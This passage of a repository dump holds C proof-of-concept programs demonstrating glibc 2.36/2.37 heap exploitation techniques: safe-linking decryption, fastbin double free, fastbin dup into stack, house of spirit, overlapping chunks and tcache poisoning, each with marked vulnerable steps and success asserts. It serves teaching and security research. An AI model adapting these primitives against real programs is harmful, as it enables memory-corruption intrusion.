* This technique demonstrates how to recover the original content from a poisoned 30 | * value because of the safe-linking mechanism. 31 | * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known 32 | * and the key (ASLR slide) is the same to the pointer's leading bits. 33 | * As a result, as long as the chunk where the pointer is stored is at the same page 34 | * of the pointer itself, the value of the pointer can be fully recovered. 35 | * Otherwise, we can also recover the pointer with the page-offset between the storer 36 | * and the pointer. What we demonstrate here is a special case whose page-offset is 0. 37 | * For demonstrations of other more general cases, plz refer to 38 | * https://github.com/n132/Dec-Safe-Linking 39 | */ 40 | 41 | setbuf(stdin, NULL); 42 | setbuf(stdout, NULL); 43 | 44 | // step 1: allocate chunks 45 | long *a = malloc(0x20); 46 | long *b = malloc(0x20); 47 | printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); 48 | malloc(0x10); 49 | puts("And then create a padding chunk to prevent consolidation."); 50 | 51 | 52 | // step 2: free chunks 53 | puts("Now free chunk a and then free chunk b."); 54 | free(a); 55 | free(b); 56 | printf("Now the freelist is: [%p -> %p]\n", b, a); 57 | printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]); 58 | 59 | // step 3: recover the values 60 | puts("Now decrypt the poisoned value"); 61 | long plaintext = decrypt(b[0]); 62 | 63 | printf("value: %p\n", a); 64 | printf("recovered value: %#lx\n", plaintext); 65 | assert(plaintext == (long)a); 66 | } 67 | -------------------------------------------------------------------------------- /glibc_2.36/fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates a simple double-free attack with fastbins.\n"); 10 | 11 | printf("Fill up tcache first.\n"); 12 | void *ptrs[8]; 13 | for (int i=0; i<8; i++) { 14 | ptrs[i] = malloc(8); 15 | } 16 | for (int i=0; i<7; i++) { 17 | free(ptrs[i]); 18 | } 19 | 20 | printf("Allocating 3 buffers.\n"); 21 | int *a = calloc(1, 8); 22 | int *b = calloc(1, 8); 23 | int *c = calloc(1, 8); 24 | 25 | printf("1st calloc(1, 8): %p\n", a); 26 | printf("2nd calloc(1, 8): %p\n", b); 27 | printf("3rd calloc(1, 8): %p\n", c); 28 | 29 | printf("Freeing the first one...\n"); 30 | free(a); 31 | 32 | printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 33 | // free(a); 34 | 35 | printf("So, instead, we'll free %p.\n", b); 36 | free(b); 37 | 38 | printf("Now, we can free %p again, since it's not the head of the free list.\n", a); 39 | free(a); 40 | 41 | printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 42 | a = calloc(1, 8); 43 | b = calloc(1, 8); 44 | c = calloc(1, 8); 45 | printf("1st calloc(1, 8): %p\n", a); 46 | printf("2nd calloc(1, 8): %p\n", b); 47 | printf("3rd calloc(1, 8): %p\n", c); 48 | 49 | assert(a == c); 50 | } 51 | -------------------------------------------------------------------------------- /glibc_2.36/fastbin_dup_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" 8 | "returning a pointer to a controlled location (in this case, the stack).\n"); 9 | 10 | 11 | fprintf(stderr,"Fill up tcache first.\n"); 12 | 13 | void *ptrs[7]; 14 | 15 | for (int i=0; i<7; i++) { 16 | ptrs[i] = malloc(8); 17 | } 18 | for (int i=0; i<7; i++) { 19 | free(ptrs[i]); 20 | } 21 | 22 | 23 | unsigned long stack_var[4] __attribute__ ((aligned (0x10))); 24 | 25 | fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2); 26 | 27 | fprintf(stderr, "Allocating 3 buffers.\n"); 28 | int *a = calloc(1,8); 29 | int *b = calloc(1,8); 30 | int *c = calloc(1,8); 31 | 32 | fprintf(stderr, "1st calloc(1,8): %p\n", a); 33 | fprintf(stderr, "2nd calloc(1,8): %p\n", b); 34 | fprintf(stderr, "3rd calloc(1,8): %p\n", c); 35 | 36 | fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin 37 | free(a); 38 | 39 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 40 | 41 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 42 | free(b); 43 | 44 | //Calling free(a) twice renders the program vulnerable to Double Free 45 | 46 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 47 | free(a); 48 | 49 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 50 | "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 51 | unsigned long *d = calloc(1,8); 52 | 53 | fprintf(stderr, "1st calloc(1,8): %p\n", d); 54 | fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); 55 | fprintf(stderr, "Now the free list has [ %p ].\n", a); 56 | fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 57 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 58 | "so that calloc will think there is a free chunk there and agree to\n" 59 | "return a pointer to it.\n", a); 60 | stack_var[1] = 0x20; 61 | 62 | fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 63 | fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); 64 | fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); 65 | unsigned long ptr = (unsigned long)stack_var; 66 | unsigned long addr = (unsigned long) d; 67 | /*VULNERABILITY*/ 68 | *d = (addr >> 12) ^ ptr; 69 | /*VULNERABILITY*/ 70 | 71 | fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); 72 | 73 | void *p = calloc(1,8); 74 | 75 | fprintf(stderr, "4th calloc(1,8): %p\n", p); 76 | assert((unsigned long)p == (unsigned long)stack_var + 0x10); 77 | } 78 | -------------------------------------------------------------------------------- /glibc_2.36/house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | puts("This file demonstrates the house of spirit attack."); 10 | puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); 11 | puts("Required primitives: known target address, ability to set up the start/end of the target memory"); 12 | 13 | puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); 14 | void *chunks[7]; 15 | for(int i=0; i<7; i++) { 16 | chunks[i] = malloc(0x30); 17 | } 18 | for(int i=0; i<7; i++) { 19 | free(chunks[i]); 20 | } 21 | 22 | puts("\nStep 2: Prepare the fake chunk"); 23 | // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 24 | long fake_chunks[10] __attribute__ ((aligned (0x10))); 25 | printf("The target fake chunk is at %p\n", fake_chunks); 26 | printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); 27 | printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 28 | puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); 29 | printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); 30 | fake_chunks[1] = 0x40; // this is the size 31 | 32 | printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 33 | printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); 34 | fake_chunks[9] = 0x1234; // nextsize 35 | 36 | puts("\nStep 3: Free the first fake chunk"); 37 | puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); 38 | void *victim = &fake_chunks[2]; 39 | free(victim); 40 | 41 | puts("\nStep 4: Take out the fake chunk"); 42 | printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); 43 | printf("malloc can do the trick as well, you just need to do it for 8 times."); 44 | void *allocated = calloc(1, 0x30); 45 | printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); 46 | 47 | assert(allocated == victim); 48 | } 49 | -------------------------------------------------------------------------------- /glibc_2.36/overlapping_chunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | A simple tale of overlapping chunk. 4 | This technique is taken from 5 | http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 | 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int main(int argc , char* argv[]) 16 | { 17 | setbuf(stdout, NULL); 18 | 19 | long *p1,*p2,*p3,*p4; 20 | printf("\nThis is another simple chunks overlapping problem\n"); 21 | printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" 22 | "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" 23 | "and the prev_size of it must match the unsortedbin's size\n" 24 | "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); 25 | 26 | printf("Let's start to allocate 4 chunks on the heap\n"); 27 | 28 | p1 = malloc(0x80 - 8); 29 | p2 = malloc(0x500 - 8); 30 | p3 = malloc(0x80 - 8); 31 | 32 | printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 33 | 34 | memset(p1, '1', 0x80 - 8); 35 | memset(p2, '2', 0x500 - 8); 36 | memset(p3, '3', 0x80 - 8); 37 | 38 | printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 39 | int evil_chunk_size = 0x581; 40 | int evil_region_size = 0x580 - 8; 41 | printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 42 | evil_chunk_size, evil_region_size); 43 | 44 | /* VULNERABILITY */ 45 | *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 46 | /* VULNERABILITY */ 47 | 48 | printf("\nNow let's free the chunk p2\n"); 49 | free(p2); 50 | printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 51 | 52 | printf("\nNow let's allocate another chunk with a size equal to the data\n" 53 | "size of the chunk p2 injected size\n"); 54 | printf("This malloc will be served from the previously freed chunk that\n" 55 | "is parked in the unsorted bin which size has been modified by us\n"); 56 | p4 = malloc(evil_region_size); 57 | 58 | printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); 59 | printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); 60 | printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); 61 | 62 | printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 63 | " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 64 | 65 | printf("Let's run through an example. Right now, we have:\n"); 66 | printf("p4 = %s\n", (char *)p4); 67 | printf("p3 = %s\n", (char *)p3); 68 | 69 | printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); 70 | memset(p4, '4', evil_region_size); 71 | printf("p4 = %s\n", (char *)p4); 72 | printf("p3 = %s\n", (char *)p3); 73 | 74 | printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); 75 | memset(p3, '3', 80); 76 | printf("p4 = %s\n", (char *)p4); 77 | printf("p3 = %s\n", (char *)p3); 78 | 79 | assert(strstr((char *)p4, (char *)p3)); 80 | } 81 | 82 | 83 | -------------------------------------------------------------------------------- /glibc_2.36/tcache_house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates the house of spirit attack on tcache.\n"); 10 | printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); 11 | printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); 12 | printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); 13 | 14 | printf("Ok. Let's start with the example!.\n\n"); 15 | 16 | 17 | printf("Calling malloc() once so that it sets up its memory.\n"); 18 | malloc(1); 19 | 20 | printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); 21 | unsigned long long *a; //pointer that will be overwritten 22 | unsigned long long fake_chunks[10]; //fake chunk region 23 | 24 | printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); 25 | 26 | printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 27 | printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 28 | fake_chunks[1] = 0x40; // this is the size 29 | 30 | 31 | printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 32 | printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 33 | 34 | a = &fake_chunks[2]; 35 | 36 | printf("Freeing the overwritten pointer.\n"); 37 | free(a); 38 | 39 | printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 40 | void *b = malloc(0x30); 41 | printf("malloc(0x30): %p\n", b); 42 | 43 | assert((long)b == (long)&fake_chunks[2]); 44 | } 45 | -------------------------------------------------------------------------------- /glibc_2.36/tcache_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | // disable buffering 9 | setbuf(stdin, NULL); 10 | setbuf(stdout, NULL); 11 | 12 | printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" 13 | "returning a pointer to an arbitrary location (in this case, the stack).\n" 14 | "The attack is very similar to fastbin corruption attack.\n"); 15 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" 16 | "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); 17 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" 18 | "An heap address leak is needed to perform tcache poisoning.\n" 19 | "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); 20 | 21 | size_t stack_var[0x10]; 22 | size_t *target = NULL; 23 | 24 | // choose a properly aligned target address 25 | for(int i=0; i<0x10; i++) { 26 | if(((long)&stack_var[i] & 0xf) == 0) { 27 | target = &stack_var[i]; 28 | break; 29 | } 30 | } 31 | assert(target != NULL); 32 | 33 | printf("The address we want malloc() to return is %p.\n", target); 34 | 35 | printf("Allocating 2 buffers.\n"); 36 | intptr_t *a = malloc(128); 37 | printf("malloc(128): %p\n", a); 38 | intptr_t *b = malloc(128); 39 | printf("malloc(128): %p\n", b); 40 | 41 | printf("Freeing the buffers...\n"); 42 | free(a); 43 | free(b); 44 | 45 | printf("Now the tcache list has [ %p -> %p ].\n", b, a); 46 | printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 47 | "to point to the location to control (%p).\n", sizeof(intptr_t), b, target); 48 | // VULNERABILITY 49 | // the following operation assumes the address of b is known, which requires a heap leak 50 | b[0] = (intptr_t)((long)target ^ (long)b >> 12); 51 | // VULNERABILITY 52 | printf("Now the tcache list has [ %p -> %p ].\n", b, target); 53 | 54 | printf("1st malloc(128): %p\n", malloc(128)); 55 | printf("Now the tcache list has [ %p ].\n", target); 56 | 57 | intptr_t *c = malloc(128); 58 | printf("2nd malloc(128): %p\n", c); 59 | printf("We got the control\n"); 60 | 61 | assert((long)target == (long)c); 62 | return 0; 63 | } 64 | -------------------------------------------------------------------------------- /glibc_2.37/decrypt_safe_linking.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | long decrypt(long cipher) 6 | { 7 | puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); 8 | puts("because of the 12bit sliding."); 9 | puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); 10 | long key = 0; 11 | long plain; 12 | 13 | for(int i=1; i<6; i++) { 14 | int bits = 64-12*i; 15 | if(bits < 0) bits = 0; 16 | plain = ((cipher ^ key) >> bits) << bits; 17 | key = plain >> 12; 18 | printf("round %d:\n", i); 19 | printf("key: %#016lx\n", key); 20 | printf("plain: %#016lx\n", plain); 21 | printf("cipher: %#016lx\n\n", cipher); 22 | } 23 | return plain; 24 | } 25 | 26 | int main() 27 | { 28 | /* 29 | * This technique demonstrates how to recover the original content from a poisoned 30 | * value because of the safe-linking mechanism. 31 | * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known 32 | * and the key (ASLR slide) is the same to the pointer's leading bits. 33 | * As a result, as long as the chunk where the pointer is stored is at the same page 34 | * of the pointer itself, the value of the pointer can be fully recovered. 35 | * Otherwise, we can also recover the pointer with the page-offset between the storer 36 | * and the pointer. What we demonstrate here is a special case whose page-offset is 0. 37 | * For demonstrations of other more general cases, plz refer to 38 | * https://github.com/n132/Dec-Safe-Linking 39 | */ 40 | 41 | setbuf(stdin, NULL); 42 | setbuf(stdout, NULL); 43 | 44 | // step 1: allocate chunks 45 | long *a = malloc(0x20); 46 | long *b = malloc(0x20); 47 | printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); 48 | malloc(0x10); 49 | puts("And then create a padding chunk to prevent consolidation."); 50 | 51 | 52 | // step 2: free chunks 53 | puts("Now free chunk a and then free chunk b."); 54 | free(a); 55 | free(b); 56 | printf("Now the freelist is: [%p -> %p]\n", b, a); 57 | printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]); 58 | 59 | // step 3: recover the values 60 | puts("Now decrypt the poisoned value"); 61 | long plaintext = decrypt(b[0]); 62 | 63 | printf("value: %p\n", a); 64 | printf("recovered value: %#lx\n", plaintext); 65 | assert(plaintext == (long)a); 66 | } 67 | -------------------------------------------------------------------------------- /glibc_2.37/fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates a simple double-free attack with fastbins.\n"); 10 | 11 | printf("Fill up tcache first.\n"); 12 | void *ptrs[8]; 13 | for (int i=0; i<8; i++) { 14 | ptrs[i] = malloc(8); 15 | } 16 | for (int i=0; i<7; i++) { 17 | free(ptrs[i]); 18 | } 19 | 20 | printf("Allocating 3 buffers.\n"); 21 | int *a = calloc(1, 8); 22 | int *b = calloc(1, 8); 23 | int *c = calloc(1, 8); 24 | 25 | printf("1st calloc(1, 8): %p\n", a); 26 | printf("2nd calloc(1, 8): %p\n", b); 27 | printf("3rd calloc(1, 8): %p\n", c); 28 | 29 | printf("Freeing the first one...\n"); 30 | free(a); 31 | 32 | printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 33 | // free(a); 34 | 35 | printf("So, instead, we'll free %p.\n", b); 36 | free(b); 37 | 38 | printf("Now, we can free %p again, since it's not the head of the free list.\n", a); 39 | free(a); 40 | 41 | printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 42 | a = calloc(1, 8); 43 | b = calloc(1, 8); 44 | c = calloc(1, 8); 45 | printf("1st calloc(1, 8): %p\n", a); 46 | printf("2nd calloc(1, 8): %p\n", b); 47 | printf("3rd calloc(1, 8): %p\n", c); 48 | 49 | assert(a == c); 50 | } 51 | -------------------------------------------------------------------------------- /glibc_2.37/fastbin_dup_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" 8 | "returning a pointer to a controlled location (in this case, the stack).\n"); 9 | 10 | 11 | fprintf(stderr,"Fill up tcache first.\n"); 12 | 13 | void *ptrs[7]; 14 | 15 | for (int i=0; i<7; i++) { 16 | ptrs[i] = malloc(8); 17 | } 18 | for (int i=0; i<7; i++) { 19 | free(ptrs[i]); 20 | } 21 | 22 | 23 | unsigned long stack_var[4] __attribute__ ((aligned (0x10))); 24 | 25 | fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2); 26 | 27 | fprintf(stderr, "Allocating 3 buffers.\n"); 28 | int *a = calloc(1,8); 29 | int *b = calloc(1,8); 30 | int *c = calloc(1,8); 31 | 32 | fprintf(stderr, "1st calloc(1,8): %p\n", a); 33 | fprintf(stderr, "2nd calloc(1,8): %p\n", b); 34 | fprintf(stderr, "3rd calloc(1,8): %p\n", c); 35 | 36 | fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin 37 | free(a); 38 | 39 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 40 | 41 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 42 | free(b); 43 | 44 | //Calling free(a) twice renders the program vulnerable to Double Free 45 | 46 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 47 | free(a); 48 | 49 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 50 | "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 51 | unsigned long *d = calloc(1,8); 52 | 53 | fprintf(stderr, "1st calloc(1,8): %p\n", d); 54 | fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); 55 | fprintf(stderr, "Now the free list has [ %p ].\n", a); 56 | fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 57 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 58 | "so that calloc will think there is a free chunk there and agree to\n" 59 | "return a pointer to it.\n", a); 60 | stack_var[1] = 0x20; 61 | 62 | fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 63 | fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); 64 | fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); 65 | unsigned long ptr = (unsigned long)stack_var; 66 | unsigned long addr = (unsigned long) d; 67 | /*VULNERABILITY*/ 68 | *d = (addr >> 12) ^ ptr; 69 | /*VULNERABILITY*/ 70 | 71 | fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); 72 | 73 | void *p = calloc(1,8); 74 | 75 | fprintf(stderr, "4th calloc(1,8): %p\n", p); 76 | assert((unsigned long)p == (unsigned long)stack_var + 0x10); 77 | } 78 | -------------------------------------------------------------------------------- /glibc_2.37/house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | puts("This file demonstrates the house of spirit attack."); 10 | puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); 11 | puts("Required primitives: known target address, ability to set up the start/end of the target memory"); 12 | 13 | puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); 14 | void *chunks[7]; 15 | for(int i=0; i<7; i++) { 16 | chunks[i] = malloc(0x30); 17 | } 18 | for(int i=0; i<7; i++) { 19 | free(chunks[i]); 20 | } 21 | 22 | puts("\nStep 2: Prepare the fake chunk"); 23 | // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 24 | long fake_chunks[10] __attribute__ ((aligned (0x10))); 25 | printf("The target fake chunk is at %p\n", fake_chunks); 26 | printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); 27 | printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 28 | puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); 29 | printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); 30 | fake_chunks[1] = 0x40; // this is the size 31 | 32 | printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 33 | printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); 34 | fake_chunks[9] = 0x1234; // nextsize 35 | 36 | puts("\nStep 3: Free the first fake chunk"); 37 | puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); 38 | void *victim = &fake_chunks[2]; 39 | free(victim); 40 | 41 | puts("\nStep 4: Take out the fake chunk"); 42 | printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); 43 | printf("malloc can do the trick as well, you just need to do it for 8 times."); 44 | void *allocated = calloc(1, 0x30); 45 | printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); 46 | 47 | assert(allocated == victim); 48 | } 49 | -------------------------------------------------------------------------------- /glibc_2.37/overlapping_chunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | A simple tale of overlapping chunk. 4 | This technique is taken from 5 | http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 | 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int main(int argc , char* argv[]) 16 | { 17 | setbuf(stdout, NULL); 18 | 19 | long *p1,*p2,*p3,*p4; 20 | printf("\nThis is another simple chunks overlapping problem\n"); 21 | printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" 22 | "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" 23 | "and the prev_size of it must match the unsortedbin's size\n" 24 | "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); 25 | 26 | printf("Let's start to allocate 4 chunks on the heap\n"); 27 | 28 | p1 = malloc(0x80 - 8); 29 | p2 = malloc(0x500 - 8); 30 | p3 = malloc(0x80 - 8); 31 | 32 | printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 33 | 34 | memset(p1, '1', 0x80 - 8); 35 | memset(p2, '2', 0x500 - 8); 36 | memset(p3, '3', 0x80 - 8); 37 | 38 | printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 39 | int evil_chunk_size = 0x581; 40 | int evil_region_size = 0x580 - 8; 41 | printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 42 | evil_chunk_size, evil_region_size); 43 | 44 | /* VULNERABILITY */ 45 | *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 46 | /* VULNERABILITY */ 47 | 48 | printf("\nNow let's free the chunk p2\n"); 49 | free(p2); 50 | printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 51 | 52 | printf("\nNow let's allocate another chunk with a size equal to the data\n" 53 | "size of the chunk p2 injected size\n"); 54 | printf("This malloc will be served from the previously freed chunk that\n" 55 | "is parked in the unsorted bin which size has been modified by us\n"); 56 | p4 = malloc(evil_region_size); 57 | 58 | printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); 59 | printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); 60 | printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); 61 | 62 | printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 63 | " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 64 | 65 | printf("Let's run through an example. Right now, we have:\n"); 66 | printf("p4 = %s\n", (char *)p4); 67 | printf("p3 = %s\n", (char *)p3); 68 | 69 | printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); 70 | memset(p4, '4', evil_region_size); 71 | printf("p4 = %s\n", (char *)p4); 72 | printf("p3 = %s\n", (char *)p3); 73 | 74 | printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); 75 | memset(p3, '3', 80); 76 | printf("p4 = %s\n", (char *)p4); 77 | printf("p3 = %s\n", (char *)p3); 78 | 79 | assert(strstr((char *)p4, (char *)p3)); 80 | } 81 | 82 | 83 | -------------------------------------------------------------------------------- /glibc_2.37/tcache_house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates the house of spirit attack on tcache.\n"); 10 | printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); 11 | printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); 12 | printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); 13 | 14 | printf("Ok. Let's start with the example!.\n\n"); 15 | 16 | 17 | printf("Calling malloc() 